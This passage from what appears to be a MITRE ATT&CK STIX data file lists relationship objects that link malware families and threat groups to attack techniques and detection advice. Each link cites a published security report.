Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) has been distributed as a malicious attachment within a spearphishing email.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:48:31.853Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c76875e8-006d-493b-880a-332faf28f3ca","type":"relationship","created":"2020-09-30T14:23:17.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:23:17.197Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) has the ability to encode and RC6 encrypt data sent to C2.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c7697490-b9ad-45b9-9e69-ddc4a7a6d94c","created":"2022-01-14T17:28:54.597Z","x_mitre_version":"1.0","external_references":[{"source_name":"FBI Flash FIN7 USB","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FIN7](https://attack.mitre.org/groups/G0046) actors have mailed USB drives to potential victims containing malware that downloads and installs various backdoors, including in some cases for ransomware operations.(Citation: FBI Flash FIN7 USB)","modified":"2022-04-13T17:13:52.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c77046c5-1ea2-4d3f-a19e-0ea7141d7e9c","type":"relationship","created":"2022-02-02T21:30:09.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."},{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-02T21:30:09.794Z","description":"[Lizar](https://attack.mitre.org/software/S0681) can support encrypted communications between the client and server.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021)","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c7721c41-83aa-4988-b431-e3135028d11e","created":"2022-08-22T15:46:35.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Bumblebee August 2022","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022.","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control"},{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T18:54:48.477Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) has gained execution through luring users into opening malicious attachments.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)(Citation: Cybereason Bumblebee August 2022)(Citation: Medium Ali Salem Bumblebee April 2022)\n","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7735813-64b9-47ba-8d98-81e7bfc25a80","type":"relationship","created":"2020-06-22T19:56:19.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}],"modified":"2020-06-22T19:56:19.422Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used cmd.exe /c to execute files.(Citation: Medium Metamorfo Apr 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c775ee2d-b7eb-443a-94e9-bb450e2bcd35","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"},{"url":"https://www.brighttalk.com/webcast/10703/275683","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","source_name":"FireEye APT33 Webinar Sept 2017"}],"modified":"2019-06-28T15:05:33.684Z","description":"(Citation: FireEye APT33 Sept 2017)(Citation: FireEye APT33 Webinar Sept 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c77d6f2a-664e-4bbb-bf86-c2c58adbdc84","type":"relationship","created":"2019-01-30T13:24:09.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"Security Affairs DustSquad Oct 2018","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T15:12:18.257Z","description":"[Octopus](https://attack.mitre.org/software/S0340) can download additional files and tools onto the victim’s machine.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c7823efd-005f-49ad-94cf-ebc44a87abed","created":"2017-05-31T21:33:27.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.860Z","description":"The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by [APT1](https://attack.mitre.org/groups/G0006) as a name for malware.(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c7844419-94a1-4757-b3c1-5397195d5478","created":"2023-09-30T03:01:28.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T04:10:36.158Z","description":"Monitor for API calls such as `fork()` which can be abused to masquerade or manipulate process metadata.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c784f835-5d15-4fc6-a7ad-88d1a9050159","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-16T15:39:47.661Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) is capable of performing screen captures.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c78a0329-8160-40d2-83f4-f5076671e786","type":"relationship","created":"2022-03-22T20:09:04.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.255Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can collect the username from a compromised host.(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c78fb99e-8967-4854-bdfb-036ae209abec","created":"2022-06-09T18:42:17.371Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) can delete itself following the successful execution of a follow-on payload.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T18:42:17.371Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7972596-a87d-48fd-bd6f-f140e16f99a6","type":"relationship","created":"2021-11-24T20:17:35.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T20:17:35.716Z","description":"(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859","created":"2017-05-31T21:33:27.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.707Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraCharlie uses RDP for propagation.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c79ca18d-b316-476e-8adf-df28a4b40074","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:21.084Z","description":"(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"malware--a5e91d50-24fa-44ec-9894-39a88f658cea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c79d7110-46bb-4b6d-a256-87bd1b6379a3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2020-03-20T22:42:35.730Z","description":"[H1N1](https://attack.mitre.org/software/S0132) obfuscates C2 traffic with an altered version of base64.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c7a94c1f-8b59-4bd7-9ab4-1f95b9927022","created":"2022-06-09T19:42:53.307Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has been distributed as malicious attachments within spearphishing emails.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:56:38.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c7aa0575-5434-4a42-ae9d-9a7a52eac99b","created":"2021-04-07T14:13:54.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.843Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) has the ability to use AES-256 symmetric encryption in CBC mode with HMAC-SHA-256 to encrypt task commands and XOR to encrypt shell code and configuration data.(Citation: Talos Cobalt Strike September 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7ab9f46-f60e-4156-b56f-415e39bc7dd9","type":"relationship","created":"2020-03-02T19:24:01.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T19:24:01.041Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7b5df1e-6a10-4f48-97b4-dd6994e2179c","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor executed commands and arguments that may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c7b780c4-7a9a-4eb2-9132-6c80a8671a94","created":"2023-09-19T17:00:40.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T18:27:40.876Z","description":"[Snip3](https://attack.mitre.org/software/S1086) has been delivered to targets via downloads from malicious domains.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7bb75c5-c678-4ea7-b9ed-0c12c5de3077","type":"relationship","created":"2019-04-15T20:57:46.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus macOS April 2019","url":"https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/","description":"Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."}],"modified":"2019-07-17T13:11:38.957Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor hides the clientID file via a chflags function.(Citation: ESET OceanLotus macOS April 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7c1411a-42c8-4d7e-9b56-0465370759de","type":"relationship","created":"2020-12-11T20:13:44.830Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-23T19:34:12.439Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has checked the victim system's date and time to perform tasks during business hours (9 to 5, Monday to Friday).(Citation: CISA ComRAT Oct 2020) ","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c7c24601-7125-4079-9d48-138594b3f86c","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.697Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7c2e904-7797-4d67-a0bf-dae4abf53689","type":"relationship","created":"2021-09-09T13:53:16.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.266Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can check for blocklisted usernames on infected 